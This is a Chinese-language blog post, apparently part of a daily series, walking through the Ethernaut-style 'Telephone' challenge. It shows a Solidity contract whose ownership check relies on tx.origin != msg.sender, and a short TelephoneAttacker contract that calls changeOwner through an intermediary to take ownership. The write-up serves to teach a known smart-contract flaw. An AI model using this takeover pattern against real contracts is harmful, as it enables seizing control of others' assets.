iT邦幫忙

2024 iThome 鐵人賽

DAY 3
0

Telephone

在這個關卡中,我們的目標是取得 Telephone 合約的所有權。
這個合約的 changeOwner 函數中有一個條件限制,只有在 tx.origin 不等於 msg.sender 的情況下,才能更改合約的所有者。這裡的 tx.origin 是最初發送交易的外部帳戶地址,而 msg.sender 則是直接調用合約的地址,可以是外部帳戶或其他合約。

合約


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

這個合約的邏輯很簡單,在 changeOwner 函數中,只有當 tx.origin 不等於 msg.sender 時,才能更改所有者。因此,如果你直接從外部帳戶調用 changeOwner,這個條件是不會通過的。但是,如果我們通過一個合約來調用 changeOwner,那麼 msg.sender 就會是那個合約的地址,而 tx.origin 還是最初發起交易的外部帳戶地址,這樣就能通過條件檢查。

Attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
    function changeOwner(address _owner) external;
}

contract TelephoneAttacker {

    address public challengeInstance;

    constructor(address _challengeInstance) {
        challengeInstance = _challengeInstance;
    }

    function attack() external {
        Telephone(challengeInstance).changeOwner(msg.sender);
    }
}

我們只需要讓 TelephoneAttacker 合約來呼叫 Telephone 合約的 changeOwner 函數。由於 msg.sender 在這個過程中會變成 TelephoneAttacker 合約的地址,而 tx.origin 是最初的外部帳戶地址,因此可以成功通過 tx.origin != msg.sender 的條件檢查,並將 Telephone 合約的所有權轉移到我們的地址。


上一篇
[Day2] CoinFilp
下一篇
[Day4]為什麼才第四天之
系列文
在資產蒸發20%的情況下,憤而尋找合約漏洞試圖由虧轉盈16
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言